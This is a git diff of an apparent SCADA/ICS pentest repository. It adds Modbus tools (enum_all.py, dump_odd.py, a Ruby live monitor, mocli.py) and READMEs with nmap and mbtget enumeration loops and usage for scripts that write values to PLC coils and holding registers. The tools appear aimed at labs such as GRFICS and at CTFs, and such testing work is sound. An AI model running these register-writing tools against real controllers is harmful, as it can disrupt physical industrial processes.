+{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in 